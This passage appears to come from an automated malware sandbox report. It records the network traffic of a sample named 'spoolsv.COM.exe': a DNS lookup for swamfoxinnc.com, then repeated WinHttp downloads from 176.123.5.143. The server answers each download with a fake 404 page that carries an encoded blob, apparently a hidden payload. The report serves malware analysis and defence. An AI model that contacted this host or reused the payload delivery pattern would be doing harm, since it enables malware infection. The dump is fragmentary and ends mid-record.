Dec 23, 2024 07:39:41.818166018 CET	50042	443	192.168.2.10	176.123.5.143

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 23, 2024 07:37:38.153759003 CET	61261	53	192.168.2.10	1.1.1.1
Dec 23, 2024 07:37:38.470036030 CET	53	61261	1.1.1.1	192.168.2.10

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 23, 2024 07:37:38.153759003 CET	192.168.2.10	1.1.1.1	0x5431	Standard query (0)	swamfoxinnc.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 23, 2024 07:37:38.470036030 CET	1.1.1.1	192.168.2.10	0x5431	No error (0)	swamfoxinnc.com		176.123.5.143	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

swamfoxinnc.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49701	176.123.5.143	443	7596	C:\Users\user\Desktop\spoolsv.COM.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:37:40 UTC	164	OUT	GET /233_Svcrhpjadgy HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: swamfoxinnc.com
2024-12-23 06:37:41 UTC	191	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 23 Dec 2024 06:37:41 GMT Content-Type: text/html Content-Length: 58296 Connection: close Vary: Accept-Encoding ETag: "674db0b4-e3b8"
2024-12-23 06:37:41 UTC	16193	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 2a 20 7b 0a 09 09 09 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 09 09 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 09 09 09 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 09 09 09 7d 0a 09 09 09 68 74 6d 6c 20 7b 0a Data Ascii: <!doctype html><html><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><title>404 Not Found</title><style>* {margin: 0;padding: 0;box-sizing: border-box;}html {
2024-12-23 06:37:41 UTC	16384	IN	Data Raw: 35 37 43 6f 32 47 4c 4c 79 45 79 4f 48 61 34 6a 30 44 65 41 6f 6f 58 73 51 6c 45 4c 2f 45 52 39 79 78 6b 72 4d 43 70 30 41 7a 68 53 48 42 52 62 67 4b 50 49 47 79 48 62 51 4f 6e 6d 56 53 62 73 56 49 77 71 44 6d 35 7a 57 43 54 52 58 64 6a 52 63 63 2f 48 4d 37 43 66 64 54 34 45 54 72 34 51 52 4e 53 77 30 66 4b 4f 4d 61 4e 61 7a 2f 68 47 7a 51 73 6a 6e 57 6b 6a 6a 2f 6f 67 72 44 55 59 39 55 36 6c 77 79 77 2b 48 46 6c 75 38 65 48 49 73 4b 38 4f 54 58 31 33 33 61 58 54 38 39 51 63 33 78 6d 46 62 45 35 59 4a 4b 6e 52 31 55 2b 6d 65 73 4e 69 4c 53 77 48 6b 53 48 62 31 4f 65 6e 37 51 75 30 43 57 6d 5a 69 77 73 35 37 31 59 59 59 2b 73 6e 74 5a 72 63 59 2b 76 46 2b 65 46 57 53 58 4c 63 36 66 42 38 4f 49 30 4b 2f 57 4a 30 30 2f 47 66 61 41 54 68 73 65 64 43 38 6f 54 Data Ascii: 57Co2GLLyEyOHa4j0DeAooXsQlEL/ER9yxkrMCp0AzhSHBRbgKPIGyHbQOnmVSbsVIwqDm5zWCTRXdjRcc/HM7CfdT4ETr4QRNSw0fKOMaNaz/hGzQsjnWkjj/ogrDUY9U6lwyw+HFlu8eHIsK8OTX133aXT89Qc3xmFbE5YJKnR1U+mesNiLSwHkSHb1Oen7Qu0CWmZiws571YYY+sntZrcY+vF+eFWSXLc6fB8OI0K/WJ00/GfaAThsedC8oT
2024-12-23 06:37:41 UTC	16384	IN	Data Raw: 5a 4a 76 46 56 68 6b 45 41 34 6b 30 52 43 77 6d 44 6a 47 4f 69 73 37 51 6a 44 65 4d 71 43 61 78 50 50 79 42 4d 57 33 62 4d 35 34 6c 33 2b 70 53 71 59 37 2b 72 2f 53 6b 67 55 62 4a 4d 70 6a 42 6a 33 6e 38 34 6d 37 75 57 31 49 31 51 67 43 49 63 6b 72 46 6b 51 44 63 42 33 41 42 6a 4b 39 35 78 43 36 31 4e 77 42 50 4e 63 78 6f 53 41 52 49 7a 48 37 65 57 6a 63 35 58 6b 70 2f 39 49 75 6f 41 6d 41 6f 67 4a 6d 46 5a 35 32 4c 49 73 67 72 41 41 49 41 67 45 41 70 76 79 66 46 53 39 41 49 79 67 63 66 4b 36 2f 2f 46 35 43 59 6c 78 47 51 53 55 53 4e 53 62 6e 51 79 31 34 71 55 50 64 48 42 74 35 41 4a 72 36 46 46 31 4b 79 50 66 2b 62 52 46 6f 72 2b 6f 76 4c 6a 46 63 7a 48 6b 6a 58 7a 61 58 67 71 35 6c 49 35 77 49 33 61 77 44 34 69 53 53 4d 4b 4f 6e 6d 50 53 48 52 6b 6e 46 Data Ascii: ZJvFVhkEA4k0RCwmDjGOis7QjDeMqCaxPPyBMW3bM54l3+pSqY7+r/SkgUbJMpjBj3n84m7uW1I1QgCIckrFkQDcB3ABjK95xC61NwBPNcxoSARIzH7eWjc5Xkp/9IuoAmAogJmFZ52LIsgrAAIAgEApvyfFS9AIygcfK6//F5CYlxGQSUSNSbnQy14qUPdHBt5AJr6FF1KyPf+bRFor+ovLjFczHkjXzaXgq5lI5wI3awD4iSSMKOnmPSHRknF
2024-12-23 06:37:41 UTC	9335	IN	Data Raw: 6e 45 73 42 71 4c 41 57 49 56 70 54 58 74 33 48 59 58 4e 54 4f 54 36 2b 68 64 31 4c 52 42 30 66 69 31 34 58 79 33 75 36 45 34 59 4e 71 53 35 6d 73 32 78 66 73 71 37 68 4e 4a 4c 73 39 68 42 74 78 51 63 50 35 57 73 52 73 58 4e 59 68 61 6f 69 37 45 44 76 32 4a 66 46 67 4d 44 52 4b 50 59 6e 69 6d 63 78 56 55 59 6c 4f 45 77 39 77 71 48 48 36 42 50 62 7a 70 37 4b 33 58 53 61 62 53 4d 74 77 32 7a 61 42 6d 65 55 6d 4a 54 52 48 36 63 5a 4d 2f 2f 32 31 72 4d 58 4e 35 33 36 56 66 44 58 43 31 53 44 71 75 61 36 74 44 4e 72 32 6d 65 48 65 6d 2b 59 6c 33 52 6b 36 53 49 70 5a 56 35 56 4e 34 32 6c 33 44 30 6a 57 6c 58 74 31 37 6e 32 33 4e 59 52 5a 54 79 38 6b 78 55 68 37 43 30 47 4c 64 5a 63 54 73 76 77 46 79 59 31 50 79 64 4a 78 5a 6d 4b 71 48 77 6e 49 67 49 6e 5a 43 30 Data Ascii: nEsBqLAWIVpTXt3HYXNTOT6+hd1LRB0fi14Xy3u6E4YNqS5ms2xfsq7hNJLs9hBtxQcP5WsRsXNYhaoi7EDv2JfFgMDRKPYnimcxVUYlOEw9wqHH6BPbzp7K3XSabSMtw2zaBmeUmJTRH6cZM//21rMXN536VfDXC1SDqua6tDNr2meHem+Yl3Rk6SIpZV5VN42l3D0jWlXt17n23NYRZTy8kxUh7C0GLdZcTsvwFyY1PydJxZmKqHwnIgInZC0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49704	176.123.5.143	443	7596	C:\Users\user\Desktop\spoolsv.COM.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:37:43 UTC	164	OUT	GET /233_Svcrhpjadgy HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: swamfoxinnc.com
2024-12-23 06:37:45 UTC	191	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 23 Dec 2024 06:37:44 GMT Content-Type: text/html Content-Length: 58296 Connection: close Vary: Accept-Encoding ETag: "674db0b4-e3b8"
2024-12-23 06:37:45 UTC	16193	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 2a 20 7b 0a 09 09 09 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 09 09 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 09 09 09 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 09 09 09 7d 0a 09 09 09 68 74 6d 6c 20 7b 0a Data Ascii: <!doctype html><html><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><title>404 Not Found</title><style>* {margin: 0;padding: 0;box-sizing: border-box;}html {
2024-12-23 06:37:45 UTC	16384	IN	Data Raw: 35 37 43 6f 32 47 4c 4c 79 45 79 4f 48 61 34 6a 30 44 65 41 6f 6f 58 73 51 6c 45 4c 2f 45 52 39 79 78 6b 72 4d 43 70 30 41 7a 68 53 48 42 52 62 67 4b 50 49 47 79 48 62 51 4f 6e 6d 56 53 62 73 56 49 77 71 44 6d 35 7a 57 43 54 52 58 64 6a 52 63 63 2f 48 4d 37 43 66 64 54 34 45 54 72 34 51 52 4e 53 77 30 66 4b 4f 4d 61 4e 61 7a 2f 68 47 7a 51 73 6a 6e 57 6b 6a 6a 2f 6f 67 72 44 55 59 39 55 36 6c 77 79 77 2b 48 46 6c 75 38 65 48 49 73 4b 38 4f 54 58 31 33 33 61 58 54 38 39 51 63 33 78 6d 46 62 45 35 59 4a 4b 6e 52 31 55 2b 6d 65 73 4e 69 4c 53 77 48 6b 53 48 62 31 4f 65 6e 37 51 75 30 43 57 6d 5a 69 77 73 35 37 31 59 59 59 2b 73 6e 74 5a 72 63 59 2b 76 46 2b 65 46 57 53 58 4c 63 36 66 42 38 4f 49 30 4b 2f 57 4a 30 30 2f 47 66 61 41 54 68 73 65 64 43 38 6f 54 Data Ascii: 57Co2GLLyEyOHa4j0DeAooXsQlEL/ER9yxkrMCp0AzhSHBRbgKPIGyHbQOnmVSbsVIwqDm5zWCTRXdjRcc/HM7CfdT4ETr4QRNSw0fKOMaNaz/hGzQsjnWkjj/ogrDUY9U6lwyw+HFlu8eHIsK8OTX133aXT89Qc3xmFbE5YJKnR1U+mesNiLSwHkSHb1Oen7Qu0CWmZiws571YYY+sntZrcY+vF+eFWSXLc6fB8OI0K/WJ00/GfaAThsedC8oT
2024-12-23 06:37:45 UTC	16384	IN	Data Raw: 5a 4a 76 46 56 68 6b 45 41 34 6b 30 52 43 77 6d 44 6a 47 4f 69 73 37 51 6a 44 65 4d 71 43 61 78 50 50 79 42 4d 57 33 62 4d 35 34 6c 33 2b 70 53 71 59 37 2b 72 2f 53 6b 67 55 62 4a 4d 70 6a 42 6a 33 6e 38 34 6d 37 75 57 31 49 31 51 67 43 49 63 6b 72 46 6b 51 44 63 42 33 41 42 6a 4b 39 35 78 43 36 31 4e 77 42 50 4e 63 78 6f 53 41 52 49 7a 48 37 65 57 6a 63 35 58 6b 70 2f 39 49 75 6f 41 6d 41 6f 67 4a 6d 46 5a 35 32 4c 49 73 67 72 41 41 49 41 67 45 41 70 76 79 66 46 53 39 41 49 79 67 63 66 4b 36 2f 2f 46 35 43 59 6c 78 47 51 53 55 53 4e 53 62 6e 51 79 31 34 71 55 50 64 48 42 74 35 41 4a 72 36 46 46 31 4b 79 50 66 2b 62 52 46 6f 72 2b 6f 76 4c 6a 46 63 7a 48 6b 6a 58 7a 61 58 67 71 35 6c 49 35 77 49 33 61 77 44 34 69 53 53 4d 4b 4f 6e 6d 50 53 48 52 6b 6e 46 Data Ascii: ZJvFVhkEA4k0RCwmDjGOis7QjDeMqCaxPPyBMW3bM54l3+pSqY7+r/SkgUbJMpjBj3n84m7uW1I1QgCIckrFkQDcB3ABjK95xC61NwBPNcxoSARIzH7eWjc5Xkp/9IuoAmAogJmFZ52LIsgrAAIAgEApvyfFS9AIygcfK6//F5CYlxGQSUSNSbnQy14qUPdHBt5AJr6FF1KyPf+bRFor+ovLjFczHkjXzaXgq5lI5wI3awD4iSSMKOnmPSHRknF
2024-12-23 06:37:45 UTC	9335	IN	Data Raw: 6e 45 73 42 71 4c 41 57 49 56 70 54 58 74 33 48 59 58 4e 54 4f 54 36 2b 68 64 31 4c 52 42 30 66 69 31 34 58 79 33 75 36 45 34 59 4e 71 53 35 6d 73 32 78 66 73 71 37 68 4e 4a 4c 73 39 68 42 74 78 51 63 50 35 57 73 52 73 58 4e 59 68 61 6f 69 37 45 44 76 32 4a 66 46 67 4d 44 52 4b 50 59 6e 69 6d 63 78 56 55 59 6c 4f 45 77 39 77 71 48 48 36 42 50 62 7a 70 37 4b 33 58 53 61 62 53 4d 74 77 32 7a 61 42 6d 65 55 6d 4a 54 52 48 36 63 5a 4d 2f 2f 32 31 72 4d 58 4e 35 33 36 56 66 44 58 43 31 53 44 71 75 61 36 74 44 4e 72 32 6d 65 48 65 6d 2b 59 6c 33 52 6b 36 53 49 70 5a 56 35 56 4e 34 32 6c 33 44 30 6a 57 6c 58 74 31 37 6e 32 33 4e 59 52 5a 54 79 38 6b 78 55 68 37 43 30 47 4c 64 5a 63 54 73 76 77 46 79 59 31 50 79 64 4a 78 5a 6d 4b 71 48 77 6e 49 67 49 6e 5a 43 30 Data Ascii: nEsBqLAWIVpTXt3HYXNTOT6+hd1LRB0fi14Xy3u6E4YNqS5ms2xfsq7hNJLs9hBtxQcP5WsRsXNYhaoi7EDv2JfFgMDRKPYnimcxVUYlOEw9wqHH6BPbzp7K3XSabSMtw2zaBmeUmJTRH6cZM//21rMXN536VfDXC1SDqua6tDNr2meHem+Yl3Rk6SIpZV5VN42l3D0jWlXt17n23NYRZTy8kxUh7C0GLdZcTsvwFyY1PydJxZmKqHwnIgInZC0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.10	49711	176.123.5.143	443	7596	C:\Users\user\Desktop\spoolsv.COM.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:37:47 UTC	164	OUT	GET /233_Svcrhpjadgy HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: swamfoxinnc.com
2024-12-23 06:37:48 UTC	191	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 23 Dec 2024 06:37:48 GMT Content-Type: text/html Content-Length: 58296 Connection: close Vary: Accept-Encoding ETag: "674db0b4-e3b8"
2024-12-23 06:37:48 UTC	16193	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 2a 20 7b 0a 09 09 09 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 09 09 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 09 09 09 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 09 09 09 7d 0a 09 09 09 68 74 6d 6c 20 7b 0a Data Ascii: <!doctype html><html><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><title>404 Not Found</title><style>* {margin: 0;padding: 0;box-sizing: border-box;}html {
2024-12-23 06:37:48 UTC	16384	IN	Data Raw: 35 37 43 6f 32 47 4c 4c 79 45 79 4f 48 61 34 6a 30 44 65 41 6f 6f 58 73 51 6c 45 4c 2f 45 52 39 79 78 6b 72 4d 43 70 30 41 7a 68 53 48 42 52 62 67 4b 50 49 47 79 48 62 51 4f 6e 6d 56 53 62 73 56 49 77 71 44 6d 35 7a 57 43 54 52 58 64 6a 52 63 63 2f 48 4d 37 43 66 64 54 34 45 54 72 34 51 52 4e 53 77 30 66 4b 4f 4d 61 4e 61 7a 2f 68 47 7a 51 73 6a 6e 57 6b 6a 6a 2f 6f 67 72 44 55 59 39 55 36 6c 77 79 77 2b 48 46 6c 75 38 65 48 49 73 4b 38 4f 54 58 31 33 33 61 58 54 38 39 51 63 33 78 6d 46 62 45 35 59 4a 4b 6e 52 31 55 2b 6d 65 73 4e 69 4c 53 77 48 6b 53 48 62 31 4f 65 6e 37 51 75 30 43 57 6d 5a 69 77 73 35 37 31 59 59 59 2b 73 6e 74 5a 72 63 59 2b 76 46 2b 65 46 57 53 58 4c 63 36 66 42 38 4f 49 30 4b 2f 57 4a 30 30 2f 47 66 61 41 54 68 73 65 64 43 38 6f 54 Data Ascii: 57Co2GLLyEyOHa4j0DeAooXsQlEL/ER9yxkrMCp0AzhSHBRbgKPIGyHbQOnmVSbsVIwqDm5zWCTRXdjRcc/HM7CfdT4ETr4QRNSw0fKOMaNaz/hGzQsjnWkjj/ogrDUY9U6lwyw+HFlu8eHIsK8OTX133aXT89Qc3xmFbE5YJKnR1U+mesNiLSwHkSHb1Oen7Qu0CWmZiws571YYY+sntZrcY+vF+eFWSXLc6fB8OI0K/WJ00/GfaAThsedC8oT
2024-12-23 06:37:48 UTC	16384	IN	Data Raw: 5a 4a 76 46 56 68 6b 45 41 34 6b 30 52 43 77 6d 44 6a 47 4f 69 73 37 51 6a 44 65 4d 71 43 61 78 50 50 79 42 4d 57 33 62 4d 35 34 6c 33 2b 70 53 71 59 37 2b 72 2f 53 6b 67 55 62 4a 4d 70 6a 42 6a 33 6e 38 34 6d 37 75 57 31 49 31 51 67 43 49 63 6b 72 46 6b 51 44 63 42 33 41 42 6a 4b 39 35 78 43 36 31 4e 77 42 50 4e 63 78 6f 53 41 52 49 7a 48 37 65 57 6a 63 35 58 6b 70 2f 39 49 75 6f 41 6d 41 6f 67 4a 6d 46 5a 35 32 4c 49 73 67 72 41 41 49 41 67 45 41 70 76 79 66 46 53 39 41 49 79 67 63 66 4b 36 2f 2f 46 35 43 59 6c 78 47 51 53 55 53 4e 53 62 6e 51 79 31 34 71 55 50 64 48 42 74 35 41 4a 72 36 46 46 31 4b 79 50 66 2b 62 52 46 6f 72 2b 6f 76 4c 6a 46 63 7a 48 6b 6a 58 7a 61 58 67 71 35 6c 49 35 77 49 33 61 77 44 34 69 53 53 4d 4b 4f 6e 6d 50 53 48 52 6b 6e 46 Data Ascii: ZJvFVhkEA4k0RCwmDjGOis7QjDeMqCaxPPyBMW3bM54l3+pSqY7+r/SkgUbJMpjBj3n84m7uW1I1QgCIckrFkQDcB3ABjK95xC61NwBPNcxoSARIzH7eWjc5Xkp/9IuoAmAogJmFZ52LIsgrAAIAgEApvyfFS9AIygcfK6//F5CYlxGQSUSNSbnQy14qUPdHBt5AJr6FF1KyPf+bRFor+ovLjFczHkjXzaXgq5lI5wI3awD4iSSMKOnmPSHRknF
2024-12-23 06:37:48 UTC	9335	IN	Data Raw: 6e 45 73 42 71 4c 41 57 49 56 70 54 58 74 33 48 59 58 4e 54 4f 54 36 2b 68 64 31 4c 52 42 30 66 69 31 34 58 79 33 75 36 45 34 59 4e 71 53 35 6d 73 32 78 66 73 71 37 68 4e 4a 4c 73 39 68 42 74 78 51 63 50 35 57 73 52 73 58 4e 59 68 61 6f 69 37 45 44 76 32 4a 66 46 67 4d 44 52 4b 50 59 6e 69 6d 63 78 56 55 59 6c 4f 45 77 39 77 71 48 48 36 42 50 62 7a 70 37 4b 33 58 53 61 62 53 4d 74 77 32 7a 61 42 6d 65 55 6d 4a 54 52 48 36 63 5a 4d 2f 2f 32 31 72 4d 58 4e 35 33 36 56 66 44 58 43 31 53 44 71 75 61 36 74 44 4e 72 32 6d 65 48 65 6d 2b 59 6c 33 52 6b 36 53 49 70 5a 56 35 56 4e 34 32 6c 33 44 30 6a 57 6c 58 74 31 37 6e 32 33 4e 59 52 5a 54 79 38 6b 78 55 68 37 43 30 47 4c 64 5a 63 54 73 76 77 46 79 59 31 50 79 64 4a 78 5a 6d 4b 71 48 77 6e 49 67 49 6e 5a 43 30 Data Ascii: nEsBqLAWIVpTXt3HYXNTOT6+hd1LRB0fi14Xy3u6E4YNqS5ms2xfsq7hNJLs9hBtxQcP5WsRsXNYhaoi7EDv2JfFgMDRKPYnimcxVUYlOEw9wqHH6BPbzp7K3XSabSMtw2zaBmeUmJTRH6cZM//21rMXN536VfDXC1SDqua6tDNr2meHem+Yl3Rk6SIpZV5VN42l3D0jWlXt17n23NYRZTy8kxUh7C0GLdZcTsvwFyY1PydJxZmKqHwnIgInZC0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.10	49723	176.123.5.143	443	7596	C:\Users\user\Desktop\spoolsv.COM.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:37:50 UTC	164	OUT	GET /233_Svcrhpjadgy HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: swamfoxinnc.com
2024-12-23 06:37:52 UTC	191	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 23 Dec 2024 06:37:51 GMT Content-Type: text/html Content-Length: 58296 Connection: close Vary: Accept-Encoding ETag: "674db0b4-e3b8"
2024-12-23 06:37:52 UTC	16193	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 2a 20 7b 0a 09 09 09 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 09 09 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 09 09 09 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 09 09 09 7d 0a 09 09 09 68 74 6d 6c 20 7b 0a Data Ascii: <!doctype html><html><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><title>404 Not Found</title><style>* {margin: 0;padding: 0;box-sizing: border-box;}html {
2024-12-23 06:37:52 UTC	16384	IN	Data Raw: 35 37 43 6f 32 47 4c 4c 79 45 79 4f 48 61 34 6a 30 44 65 41 6f 6f 58 73 51 6c 45 4c 2f 45 52 39 79 78 6b 72 4d 43 70 30 41 7a 68 53 48 42 52 62 67 4b 50 49 47 79 48 62 51 4f 6e 6d 56 53 62 73 56 49 77 71 44 6d 35 7a 57 43 54 52 58 64 6a 52 63 63 2f 48 4d 37 43 66 64 54 34 45 54 72 34 51 52 4e 53 77 30 66 4b 4f 4d 61 4e 61 7a 2f 68 47 7a 51 73 6a 6e 57 6b 6a 6a 2f 6f 67 72 44 55 59 39 55 36 6c 77 79 77 2b 48 46 6c 75 38 65 48 49 73 4b 38 4f 54 58 31 33 33 61 58 54 38 39 51 63 33 78 6d 46 62 45 35 59 4a 4b 6e 52 31 55 2b 6d 65 73 4e 69 4c 53 77 48 6b 53 48 62 31 4f 65 6e 37 51 75 30 43 57 6d 5a 69 77 73 35 37 31 59 59 59 2b 73 6e 74 5a 72 63 59 2b 76 46 2b 65 46 57 53 58 4c 63 36 66 42 38 4f 49 30 4b 2f 57 4a 30 30 2f 47 66 61 41 54 68 73 65 64 43 38 6f 54 Data Ascii: 57Co2GLLyEyOHa4j0DeAooXsQlEL/ER9yxkrMCp0AzhSHBRbgKPIGyHbQOnmVSbsVIwqDm5zWCTRXdjRcc/HM7CfdT4ETr4QRNSw0fKOMaNaz/hGzQsjnWkjj/ogrDUY9U6lwyw+HFlu8eHIsK8OTX133aXT89Qc3xmFbE5YJKnR1U+mesNiLSwHkSHb1Oen7Qu0CWmZiws571YYY+sntZrcY+vF+eFWSXLc6fB8OI0K/WJ00/GfaAThsedC8oT
2024-12-23 06:37:52 UTC	16384	IN	Data Raw: 5a 4a 76 46 56 68 6b 45 41 34 6b 30 52 43 77 6d 44 6a 47 4f 69 73 37 51 6a 44 65 4d 71 43 61 78 50 50 79 42 4d 57 33 62 4d 35 34 6c 33 2b 70 53 71 59 37 2b 72 2f 53 6b 67 55 62 4a 4d 70 6a 42 6a 33 6e 38 34 6d 37 75 57 31 49 31 51 67 43 49 63 6b 72 46 6b 51 44 63 42 33 41 42 6a 4b 39 35 78 43 36 31 4e 77 42 50 4e 63 78 6f 53 41 52 49 7a 48 37 65 57 6a 63 35 58 6b 70 2f 39 49 75 6f 41 6d 41 6f 67 4a 6d 46 5a 35 32 4c 49 73 67 72 41 41 49 41 67 45 41 70 76 79 66 46 53 39 41 49 79 67 63 66 4b 36 2f 2f 46 35 43 59 6c 78 47 51 53 55 53 4e 53 62 6e 51 79 31 34 71 55 50 64 48 42 74 35 41 4a 72 36 46 46 31 4b 79 50 66 2b 62 52 46 6f 72 2b 6f 76 4c 6a 46 63 7a 48 6b 6a 58 7a 61 58 67 71 35 6c 49 35 77 49 33 61 77 44 34 69 53 53 4d 4b 4f 6e 6d 50 53 48 52 6b 6e 46 Data Ascii: ZJvFVhkEA4k0RCwmDjGOis7QjDeMqCaxPPyBMW3bM54l3+pSqY7+r/SkgUbJMpjBj3n84m7uW1I1QgCIckrFkQDcB3ABjK95xC61NwBPNcxoSARIzH7eWjc5Xkp/9IuoAmAogJmFZ52LIsgrAAIAgEApvyfFS9AIygcfK6//F5CYlxGQSUSNSbnQy14qUPdHBt5AJr6FF1KyPf+bRFor+ovLjFczHkjXzaXgq5lI5wI3awD4iSSMKOnmPSHRknF
2024-12-23 06:37:52 UTC	9335	IN	Data Raw: 6e 45 73 42 71 4c 41 57 49 56 70 54 58 74 33 48 59 58 4e 54 4f 54 36 2b 68 64 31 4c 52 42 30 66 69 31 34 58 79 33 75 36 45 34 59 4e 71 53 35 6d 73 32 78 66 73 71 37 68 4e 4a 4c 73 39 68 42 74 78 51 63 50 35 57 73 52 73 58 4e 59 68 61 6f 69 37 45 44 76 32 4a 66 46 67 4d 44 52 4b 50 59 6e 69 6d 63 78 56 55 59 6c 4f 45 77 39 77 71 48 48 36 42 50 62 7a 70 37 4b 33 58 53 61 62 53 4d 74 77 32 7a 61 42 6d 65 55 6d 4a 54 52 48 36 63 5a 4d 2f 2f 32 31 72 4d 58 4e 35 33 36 56 66 44 58 43 31 53 44 71 75 61 36 74 44 4e 72 32 6d 65 48 65 6d 2b 59 6c 33 52 6b 36 53 49 70 5a 56 35 56 4e 34 32 6c 33 44 30 6a 57 6c 58 74 31 37 6e 32 33 4e 59 52 5a 54 79 38 6b 78 55 68 37 43 30 47 4c 64 5a 63 54 73 76 77 46 79 59 31 50 79 64 4a 78 5a 6d 4b 71 48 77 6e 49 67 49 6e 5a 43 30 Data Ascii: 